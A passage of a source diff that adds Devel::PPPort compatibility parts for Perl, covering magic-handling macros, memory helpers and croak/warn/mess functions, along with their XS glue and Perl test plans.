+# define sv_catpv_mg(sv, ptr) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_catpv(TeMpSv,ptr); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_catpvn_mg
+# define sv_catpvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_catpvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_catsv_mg
+# define sv_catsv_mg(dsv, ssv) \
+ STMT_START { \
+ SV *TeMpSv = dsv; \
+ sv_catsv(TeMpSv,ssv); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setiv_mg
+# define sv_setiv_mg(sv, i) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setiv(TeMpSv,i); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setnv_mg
+# define sv_setnv_mg(sv, num) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setnv(TeMpSv,num); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setpv_mg
+# define sv_setpv_mg(sv, ptr) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setpv(TeMpSv,ptr); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setpvn_mg
+# define sv_setpvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setpvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setsv_mg
+# define sv_setsv_mg(dsv, ssv) \
+ STMT_START { \
+ SV *TeMpSv = dsv; \
+ sv_setsv(TeMpSv,ssv); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_setuv_mg
+# define sv_setuv_mg(sv, i) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_setuv(TeMpSv,i); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+#ifndef sv_usepvn_mg
+# define sv_usepvn_mg(sv, ptr, len) \
+ STMT_START { \
+ SV *TeMpSv = sv; \
+ sv_usepvn(TeMpSv,ptr,len); \
+ SvSETMAGIC(TeMpSv); \
+ } STMT_END
+#endif
+
+__UNDEFINED__ SvVSTRING_mg(sv) (SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_vstring) : NULL)
+
+/* Hint: sv_magic_portable
+ * This is a compatibility function that is only available with
+ * Devel::PPPort. It is NOT in the perl core.
+ * Its purpose is to mimic the 5.8.0 behaviour of sv_magic() when
+ * it is being passed a name pointer with namlen == 0. In that
+ * case, perl 5.8.0 and later store the pointer, not a copy of it.
+ * The compatibility can be provided back to perl 5.004. With
+ * earlier versions, the code will not compile.
+ */
+
+#if { VERSION < 5.004 }
+
+ /* code that uses sv_magic_portable will not compile */
+
+#elif { VERSION < 5.8.0 }
+
+# define sv_magic_portable(sv, obj, how, name, namlen) \
+ STMT_START { \
+ SV *SvMp_sv = (sv); \
+ char *SvMp_name = (char *) (name); \
+ I32 SvMp_namlen = (namlen); \
+ if (SvMp_name && SvMp_namlen == 0) \
+ { \
+ MAGIC *mg; \
+ sv_magic(SvMp_sv, obj, how, 0, 0); \
+ mg = SvMAGIC(SvMp_sv); \
+ mg->mg_len = -42; /* XXX: this is the tricky part */ \
+ mg->mg_ptr = SvMp_name; \
+ } \
+ else \
+ { \
+ sv_magic(SvMp_sv, obj, how, SvMp_name, SvMp_namlen); \
+ } \
+ } STMT_END
+
+#else
+
+# define sv_magic_portable(a, b, c, d, e) sv_magic(a, b, c, d, e)
+
+#endif
+
+#if !defined(mg_findext)
+#if { NEED mg_findext }
+
+MAGIC *
+mg_findext(SV * sv, int type, const MGVTBL *vtbl) {
+ if (sv) {
+ MAGIC *mg;
+
+#ifdef AvPAD_NAMELIST
+ assert(!(SvTYPE(sv) == SVt_PVAV && AvPAD_NAMELIST(sv)));
+#endif
+
+ for (mg = SvMAGIC (sv); mg; mg = mg->mg_moremagic) {
+ if (mg->mg_type == type && mg->mg_virtual == vtbl)
+ return mg;
+ }
+ }
+
+ return NULL;
+}
+
+#endif
+#endif
+
+#if !defined(sv_unmagicext)
+#if { NEED sv_unmagicext }
+
+int
+sv_unmagicext(pTHX_ SV *const sv, const int type, MGVTBL *vtbl)
+{
+ MAGIC* mg;
+ MAGIC** mgp;
+
+ if (SvTYPE(sv) < SVt_PVMG || !SvMAGIC(sv))
+ return 0;
+ mgp = &(SvMAGIC(sv));
+ for (mg = *mgp; mg; mg = *mgp) {
+ const MGVTBL* const virt = mg->mg_virtual;
+ if (mg->mg_type == type && virt == vtbl) {
+ *mgp = mg->mg_moremagic;
+ if (virt && virt->svt_free)
+ virt->svt_free(aTHX_ sv, mg);
+ if (mg->mg_ptr && mg->mg_type != PERL_MAGIC_regex_global) {
+ if (mg->mg_len > 0)
+ Safefree(mg->mg_ptr);
+ else if (mg->mg_len == HEf_SVKEY) /* Questionable on older perls... */
+ SvREFCNT_dec(MUTABLE_SV(mg->mg_ptr));
+ else if (mg->mg_type == PERL_MAGIC_utf8)
+ Safefree(mg->mg_ptr);
+ }
+ if (mg->mg_flags & MGf_REFCOUNTED)
+ SvREFCNT_dec(mg->mg_obj);
+ Safefree(mg);
+ }
+ else
+ mgp = &mg->mg_moremagic;
+ }
+ if (SvMAGIC(sv)) {
+ if (SvMAGICAL(sv)) /* if we're under save_magic, wait for restore_magic; */
+ mg_magical(sv); /* else fix the flags now */
+ }
+ else {
+ SvMAGICAL_off(sv);
+ SvFLAGS(sv) |= (SvFLAGS(sv) & (SVp_IOK|SVp_NOK|SVp_POK)) >> PRIVSHIFT;
+ }
+ return 0;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_mg_findext
+#define NEED_sv_unmagicext
+
+#ifndef STATIC
+#define STATIC static
+#endif
+
+STATIC MGVTBL null_mg_vtbl = {
+ NULL, /* get */
+ NULL, /* set */
+ NULL, /* len */
+ NULL, /* clear */
+ NULL, /* free */
+#if MGf_COPY
+ NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+ NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+ NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+STATIC MGVTBL other_mg_vtbl = {
+ NULL, /* get */
+ NULL, /* set */
+ NULL, /* len */
+ NULL, /* clear */
+ NULL, /* free */
+#if MGf_COPY
+ NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+ NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+ NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+=xsubs
+
+SV *
+new_with_other_mg(package, ...)
+ SV *package
+ PREINIT:
+ HV *self;
+ HV *stash;
+ SV *self_ref;
+ const char *data = "hello\0";
+ MAGIC *mg;
+ CODE:
+ self = newHV();
+ stash = gv_stashpv(SvPV_nolen(package), 0);
+
+ self_ref = newRV_noinc((SV*)self);
+
+ sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+ mg = mg_find((SV*)self, PERL_MAGIC_ext);
+ if (mg)
+ mg->mg_virtual = &other_mg_vtbl;
+ else
+ croak("No mg!");
+
+ RETVAL = sv_bless(self_ref, stash);
+ OUTPUT:
+ RETVAL
+
+SV *
+new_with_mg(package, ...)
+ SV *package
+ PREINIT:
+ HV *self;
+ HV *stash;
+ SV *self_ref;
+ const char *data = "hello\0";
+ MAGIC *mg;
+ CODE:
+ self = newHV();
+ stash = gv_stashpv(SvPV_nolen(package), 0);
+
+ self_ref = newRV_noinc((SV*)self);
+
+ sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+ mg = mg_find((SV*)self, PERL_MAGIC_ext);
+ if (mg)
+ mg->mg_virtual = &null_mg_vtbl;
+ else
+ croak("No mg!");
+
+ RETVAL = sv_bless(self_ref, stash);
+ OUTPUT:
+ RETVAL
+
+void
+remove_null_magic(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl);
+
+void
+remove_other_magic(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &other_mg_vtbl);
+
+void
+as_string(self)
+ SV *self
+ PREINIT:
+ HV *obj;
+ MAGIC *mg;
+ PPCODE:
+ obj = (HV*) SvRV(self);
+
+ if ((mg = mg_findext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl))) {
+ XPUSHs(sv_2mortal(newSVpv(mg->mg_ptr, strlen(mg->mg_ptr))));
+ } else {
+ XPUSHs(sv_2mortal(newSVpvs("Sorry, your princess is in another castle.")));
+ }
+
+void
+sv_catpv_mg(sv, string)
+ SV *sv;
+ char *string;
+ CODE:
+ sv_catpv_mg(sv, string);
+
+void
+sv_catpvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ sv_catpvn_mg(sv, str, len);
+
+void
+sv_catsv_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ CODE:
+ sv_catsv_mg(sv, sv2);
+
+void
+sv_setiv_mg(sv, iv)
+ SV *sv;
+ IV iv;
+ CODE:
+ sv_setiv_mg(sv, iv);
+
+void
+sv_setnv_mg(sv, nv)
+ SV *sv;
+ NV nv;
+ CODE:
+ sv_setnv_mg(sv, nv);
+
+void
+sv_setpv_mg(sv, pv)
+ SV *sv;
+ char *pv;
+ CODE:
+ sv_setpv_mg(sv, pv);
+
+void
+sv_setpvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ sv_setpvn_mg(sv, str, len);
+
+void
+sv_setsv_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ CODE:
+ sv_setsv_mg(sv, sv2);
+
+void
+sv_setuv_mg(sv, uv)
+ SV *sv;
+ UV uv;
+ CODE:
+ sv_setuv_mg(sv, uv);
+
+void
+sv_usepvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str, *copy;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ New(42, copy, len+1, char);
+ Copy(str, copy, len+1, char);
+ sv_usepvn_mg(sv, copy, len);
+
+int
+SvVSTRING_mg(sv)
+ SV *sv;
+ CODE:
+ RETVAL = SvVSTRING_mg(sv) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+sv_magic_portable(sv)
+ SV *sv
+ PREINIT:
+ MAGIC *mg;
+ const char *foo = "foo";
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_magic_portable(sv, 0, '~', foo, 0);
+ mg = mg_find(sv, '~');
+ if (!mg)
+ croak("No mg!");
+
+ RETVAL = mg->mg_ptr == foo;
+#else
+ sv_magic(sv, 0, '~', (char *) foo, strlen(foo));
+ mg = mg_find(sv, '~');
+ RETVAL = strEQ(mg->mg_ptr, foo);
+#endif
+ sv_unmagic(sv, '~');
+ OUTPUT:
+ RETVAL
+
+=tests plan => 23
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory
new file mode 100644
index 00000000000..9a5425e39ed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory
@@ -0,0 +1,85 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+#ifdef HAS_MEMCMP
+__UNDEFINED__ memNE(s1,s2,l) (memcmp(s1,s2,l))
+__UNDEFINED__ memEQ(s1,s2,l) (!memcmp(s1,s2,l))
+#else
+__UNDEFINED__ memNE(s1,s2,l) (bcmp(s1,s2,l))
+__UNDEFINED__ memEQ(s1,s2,l) (!bcmp(s1,s2,l))
+#endif
+
+__UNDEFINED__ memEQs(s1, l, s2) \
+ (sizeof(s2)-1 == l && memEQ(s1, (s2 ""), (sizeof(s2)-1)))
+__UNDEFINED__ memNEs(s1, l, s2) !memEQs(s1, l, s2)
+
+__UNDEFINED__ MoveD(s,d,n,t) memmove((char*)(d),(char*)(s), (n) * sizeof(t))
+__UNDEFINED__ CopyD(s,d,n,t) memcpy((char*)(d),(char*)(s), (n) * sizeof(t))
+#ifdef HAS_MEMSET
+__UNDEFINED__ ZeroD(d,n,t) memzero((char*)(d), (n) * sizeof(t))
+#else
+__UNDEFINED__ ZeroD(d,n,t) ((void)memzero((char*)(d), (n) * sizeof(t)), d)
+#endif
+
+__UNDEFINED__ PoisonWith(d,n,t,b) (void)memset((char*)(d), (U8)(b), (n) * sizeof(t))
+__UNDEFINED__ PoisonNew(d,n,t) PoisonWith(d,n,t,0xAB)
+__UNDEFINED__ PoisonFree(d,n,t) PoisonWith(d,n,t,0xEF)
+__UNDEFINED__ Poison(d,n,t) PoisonFree(d,n,t)
+
+__UNDEFINED__ Newx(v,n,t) New(0,v,n,t)
+__UNDEFINED__ Newxc(v,n,t,c) Newc(0,v,n,t,c)
+__UNDEFINED__ Newxz(v,n,t) Newz(0,v,n,t)
+
+=xsubs
+
+int
+checkmem()
+ PREINIT:
+ char *p;
+
+ CODE:
+ RETVAL = 0;
+ Newx(p, 6, char);
+ CopyD("Hello", p, 6, char);
+ if (memEQ(p, "Hello", 6))
+ RETVAL++;
+ ZeroD(p, 6, char);
+ if (memEQ(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ if (memEQs(p, 6, "\0\0\0\0\0\0"))
+ RETVAL++;
+ Poison(p, 6, char);
+ if (memNE(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ if (memNEs(p, 6, "\0\0\0\0\0\0"))
+ RETVAL++;
+ Safefree(p);
+
+ Newxz(p, 6, char);
+ if (memEQ(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ Safefree(p);
+
+ Newxc(p, 3, short, char);
+ Safefree(p);
+
+ OUTPUT:
+ RETVAL
+
+=tests plan => 1
+
+ok(Devel::PPPort::checkmem(), 6);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess
new file mode 100644
index 00000000000..49755ec3896
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess
@@ -0,0 +1,518 @@
+################################################################################
+##
+## Copyright (C) 2017, Pali <pali@cpan.org>
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+croak_sv
+die_sv
+mess_sv
+warn_sv
+
+vmess
+mess_nocontext
+mess
+
+warn_nocontext
+
+croak_nocontext
+
+croak_no_modify
+Perl_croak_no_modify
+
+croak_memory_wrap
+croak_xs_usage
+
+PERL_ARGS_ASSERT_CROAK_XS_USAGE
+
+=dontwarn
+
+NEED_mess
+NEED_mess_nocontext
+NEED_vmess
+
+=implementation
+
+#ifdef NEED_mess_sv
+#define NEED_mess
+#endif
+
+#ifdef NEED_mess
+#define NEED_mess_nocontext
+#define NEED_vmess
+#endif
+
+#ifndef croak_sv
+#if { VERSION >= 5.7.3 } || ( { VERSION >= 5.6.1 } && { VERSION < 5.7.0 } )
+# if ( { VERSION >= 5.8.0 } && { VERSION < 5.8.9 } ) || ( { VERSION >= 5.9.0 } && { VERSION < 5.10.1 } )
+# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) \
+ STMT_START { \
+ if (sv != ERRSV) \
+ SvFLAGS(ERRSV) = (SvFLAGS(ERRSV) & ~SVf_UTF8) | \
+ (SvFLAGS(sv) & SVf_UTF8); \
+ } STMT_END
+# else
+# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) STMT_START {} STMT_END
+# endif
+# define croak_sv(sv) \
+ STMT_START { \
+ if (SvROK(sv)) { \
+ sv_setsv(ERRSV, sv); \
+ croak(NULL); \
+ } else { \
+ D_PPP_FIX_UTF8_ERRSV(ERRSV, sv); \
+ croak("%" SVf, SVfARG(sv)); \
+ } \
+ } STMT_END
+#elif { VERSION >= 5.4.0 }
+# define croak_sv(sv) croak("%" SVf, SVfARG(sv))
+#else
+# define croak_sv(sv) croak("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef die_sv
+#if { NEED die_sv }
+OP *
+die_sv(pTHX_ SV *sv)
+{
+ croak_sv(sv);
+ return (OP *)NULL;
+}
+#endif
+#endif
+
+#ifndef warn_sv
+#if { VERSION >= 5.4.0 }
+# define warn_sv(sv) warn("%" SVf, SVfARG(sv))
+#else
+# define warn_sv(sv) warn("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef vmess
+#if { NEED vmess }
+SV*
+vmess(pTHX_ const char* pat, va_list* args)
+{
+ mess(pat, args);
+ return PL_mess_sv;
+}
+#endif
+#endif
+
+#if { VERSION < 5.6.0 }
+#undef mess
+#endif
+
+#if !defined(mess_nocontext) && !defined(Perl_mess_nocontext)
+#if { NEED mess_nocontext }
+SV*
+mess_nocontext(const char* pat, ...)
+{
+ dTHX;
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+ sv = vmess(pat, &args);
+ va_end(args);
+ return sv;
+}
+#endif
+#endif
+
+#ifndef mess
+#if { NEED mess }
+SV*
+mess(pTHX_ const char* pat, ...)
+{
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+ sv = vmess(pat, &args);
+ va_end(args);
+ return sv;
+}
+#ifdef mess_nocontext
+#define mess mess_nocontext
+#else
+#define mess Perl_mess_nocontext
+#endif
+#endif
+#endif
+
+#ifndef mess_sv
+#if { NEED mess_sv }
+SV *
+mess_sv(pTHX_ SV *basemsg, bool consume)
+{
+ SV *tmp;
+ SV *ret;
+
+ if (SvPOK(basemsg) && SvCUR(basemsg) && *(SvEND(basemsg)-1) == '\n') {
+ if (consume)
+ return basemsg;
+ ret = mess("");
+ SvSetSV_nosteal(ret, basemsg);
+ return ret;
+ }
+
+ if (consume) {
+ sv_catsv(basemsg, mess(""));
+ return basemsg;
+ }
+
+ ret = mess("");
+ tmp = newSVsv(ret);
+ SvSetSV_nosteal(ret, basemsg);
+ sv_catsv(ret, tmp);
+ sv_dec(tmp);
+ return ret;
+}
+#endif
+#endif
+
+#ifndef warn_nocontext
+#define warn_nocontext warn
+#endif
+
+#ifndef croak_nocontext
+#define croak_nocontext croak
+#endif
+
+#ifndef croak_no_modify
+#define croak_no_modify() croak_nocontext("%s", PL_no_modify)
+#define Perl_croak_no_modify() croak_no_modify()
+#endif
+
+#ifndef croak_memory_wrap
+#if { VERSION >= 5.9.2 } || ( { VERSION >= 5.8.6 } && { VERSION < 5.9.0 } )
+# define croak_memory_wrap() croak_nocontext("%s", PL_memory_wrap)
+#else
+# define croak_memory_wrap() croak_nocontext("panic: memory wrap")
+#endif
+#endif
+
+#ifndef croak_xs_usage
+#if { NEED croak_xs_usage }
+
+#ifndef PERL_ARGS_ASSERT_CROAK_XS_USAGE
+#define PERL_ARGS_ASSERT_CROAK_XS_USAGE assert(cv); assert(params)
+#endif
+
+void
+croak_xs_usage(const CV *const cv, const char *const params)
+{
+ dTHX;
+ const GV *const gv = CvGV(cv);
+
+ PERL_ARGS_ASSERT_CROAK_XS_USAGE;
+
+ if (gv) {
+ const char *const gvname = GvNAME(gv);
+ const HV *const stash = GvSTASH(gv);
+ const char *const hvname = stash ? HvNAME(stash) : NULL;
+
+ if (hvname)
+ croak("Usage: %s::%s(%s)", hvname, gvname, params);
+ else
+ croak("Usage: %s(%s)", gvname, params);
+ } else {
+ /* Pants. I don't think that it should be possible to get here. */
+ croak("Usage: CODE(0x%" UVxf ")(%s)", PTR2UV(cv), params);
+ }
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_die_sv
+#define NEED_mess_sv
+#define NEED_croak_xs_usage
+
+=xsubs
+
+void
+croak_sv(sv)
+ SV *sv
+CODE:
+ croak_sv(sv);
+
+void
+die_sv(sv)
+ SV *sv
+CODE:
+ (void)die_sv(sv);
+
+void
+warn_sv(sv)
+ SV *sv
+CODE:
+ warn_sv(sv);
+
+SV *
+mess_sv(sv, consume)
+ SV *sv
+ bool consume
+CODE:
+ RETVAL = newSVsv(mess_sv(sv, consume));
+OUTPUT:
+ RETVAL
+
+void
+croak_no_modify()
+CODE:
+ croak_no_modify();
+
+void
+croak_memory_wrap()
+CODE:
+ croak_memory_wrap();
+
+void
+croak_xs_usage(params)
+ char *params
+CODE:
+ croak_xs_usage(cv, params);
+
+=tests plan => 93
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+ $@ = 'should not be visible (2)';
+ Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = 'this must be visible';
+ Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = "this must be visible\n";
+ Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+ BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+ ok $@, "\x{100}\n";
+ if ($] ne '5.008') {
+ ok $die, "\x{100}\n";
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+ ok $@ =~ /^\x{100} at $0 line /;
+ if ($] ne '5.008') {
+ ok $die =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ if ($] ne '5.008') {
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}\n");
+ ok $warn, "\x{100}\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}");
+ ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+ }
+
+ ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+ ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+ skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+ skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+ ok $@, "\xE1\n";
+ ok $die, "\xE1\n";
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+ ok $@ =~ /^\xE1 at $0 line /;
+ ok $die =~ /^\xE1 at $0 line /;
+
+ {
+ undef $die;
+ my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+ ok $@, $expect;
+ ok $die, $expect;
+ }
+
+ {
+ undef $die;
+ my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ ok $@ =~ $expect;
+ ok $die =~ $expect;
+ }
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+ ok $warn, "\xE1\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+ ok $warn =~ /^\xE1 at $0 line /;
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1\n");
